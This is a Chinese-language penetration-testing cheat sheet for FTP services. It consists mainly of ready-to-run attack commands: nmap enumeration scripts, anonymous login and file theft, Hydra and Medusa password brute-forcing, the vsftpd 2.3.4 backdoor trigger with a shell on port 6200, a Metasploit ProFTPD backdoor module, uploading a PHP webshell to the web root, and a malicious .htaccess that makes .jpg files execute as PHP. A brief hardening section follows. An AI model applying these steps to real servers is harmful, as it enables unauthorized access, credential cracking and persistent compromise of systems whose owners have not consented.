21 - FTP 渗透
漏洞概述
FTP(File Transfer Protocol)是文件传输协议,常见漏洞包括匿名登录、弱口令、配置不当等。
影响版本: 所有版本
危害等级: ⭐⭐⭐⭐
信息收集
端口扫描
# Nmap 扫描
nmap -sV -p 21 <TARGET_IP>
# FTP 枚举脚本
nmap --script ftp-anon,ftp-bounce,ftp-libopie,ftp-proftpd-backdoor,ftp-vsftpd-backdoor,ftp-vuln* <TARGET_IP>
匿名登录检查
# 尝试匿名登录
ftp <TARGET_IP>
# Username: anonymous
# Password: anonymous@
# 或使用 curl
curl ftp://<TARGET_IP>/
漏洞利用
方法 1: 匿名登录
# 匿名登录
ftp <TARGET_IP>
Name: anonymous
Password: <press enter>
# 查看可访问文件
ls
cd /
get sensitive_file.txt
方法 2: 弱口令爆破
# Hydra 爆破
hydra -l ftpuser -P /usr/share/wordlists/rockyou.txt ftp://<TARGET_IP>
# 多用户爆破
hydra -L users.txt -P passwords.txt ftp://<TARGET_IP>
# Medusa 爆破
medusa -h <TARGET_IP> -U users.txt -P passwords.txt -M ftp
方法 3: 已知漏洞利用
vsftpd 2.3.4 后门
# 检查版本
nc <TARGET_IP> 21
# 利用(如果显示 vsftpd 2.3.4)
nc <TARGET_IP> 21
USER test:)
# 然后连接 6200 端口
nc <TARGET_IP> 6200
ProFTPD 1.3.3c 后门
# 使用 Metasploit
use exploit/unix/ftp/proftpd_133c_backdoor
set RHOSTS <TARGET_IP>
exploit
文件上传利用
上传 Webshell
# 如果 FTP 允许上传且目录可访问
ftp <TARGET_IP>
put shell.php /var/www/html/
# 然后访问
http://<TARGET_IP>/shell.php
上传恶意配置文件
# 上传 .htaccess 文件
put .htaccess
# 内容示例
AddType application/x-httpd-php .jpg
防御建议
-
禁用匿名登录
-
使用 SFTP 替代 FTP
# SFTP 基于 SSH,更安全
sftp user@<TARGET_IP>
-
强口令策略
-
限制访问目录
chroot_local_user=YES
allow_writeable_chroot=NO
-
配置防火墙
# 仅允许信任 IP
iptables -A INPUT -p tcp --dport 21 -s <TRUSTED_IP> -j ACCEPT
参考链接